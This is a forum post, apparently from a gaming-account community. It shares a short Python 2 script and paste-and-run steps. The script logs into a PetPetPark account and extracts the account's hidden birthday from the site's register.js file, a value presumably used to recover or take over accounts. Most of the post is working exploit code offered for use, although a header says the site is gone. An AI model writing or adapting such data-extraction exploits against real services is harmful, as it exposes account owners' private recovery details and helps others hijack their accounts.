NOTE: METHOD NO LONGER WORKS DUE TO REMOVAL OF PETPETPARK; THIS GUIDE WILL REMAIN UP FOR EDUCATIONAL PURPOSES
Gonna reveal the method I've been using since it's being patched tomorrow (or soon after)
Code:
import datetime,urllib,urllib2,cookielib,re,sys
from datetime import date, timedelta
from threading import *
def post(url,values):
data = urllib.urlencode(values)
opener.open(url,data)
caj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(caj))
opener.addheaders = [('User-Agent', 'Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0'),]
loginData = {'username' : "USERNAME", 'password' : "PASSWORD"}
url = "http://www.petpetpark.com/services/auth"
post(url,loginData)
page = opener.open("http://www.petpetpark.com/data/user/register.js")
code = page.read()
bday = re.findall("new Date\((.+?)\),",code)
try:
num = int(bday[0])
except:
sys.exit("Cannot crack birthday")
num = float(num) / 24 / 60 / 60 / 1000
start = "01/01/70"
Date = datetime.datetime.strptime(start, "%m/%d/%y").date()
print "Birthday: " + (Date + timedelta(days=num)).strftime('%b %d, %Y')
Updated for people who don't have python.
Step 1: Copy the script.
Step 2: Open (you need an account to see links) and delete all the text on the left textbox, then paste it on the left textbox.
Step 3: Replace USERNAME and PASSWORD with the username and password of the account (don't delete the quotation marks).
Step 4: Press Execute Script at the top left corner of the page
Step 5: The birthday will appear on the right hand side, if it can't crack it, it will say Cannot Crack Birthday
Don't mind how sloppy it is, feel free to learn from it if you can haha.
Did some http sniffing with Charles (that's the name of the program I used) and came across the register.js, took a couple hours and a basic knowledge of math to figure out the rest.
ONLY WORKS FOR ACCOUNTS THAT AREN'T REGISTERED ON PETPETPARK
Goodluck friends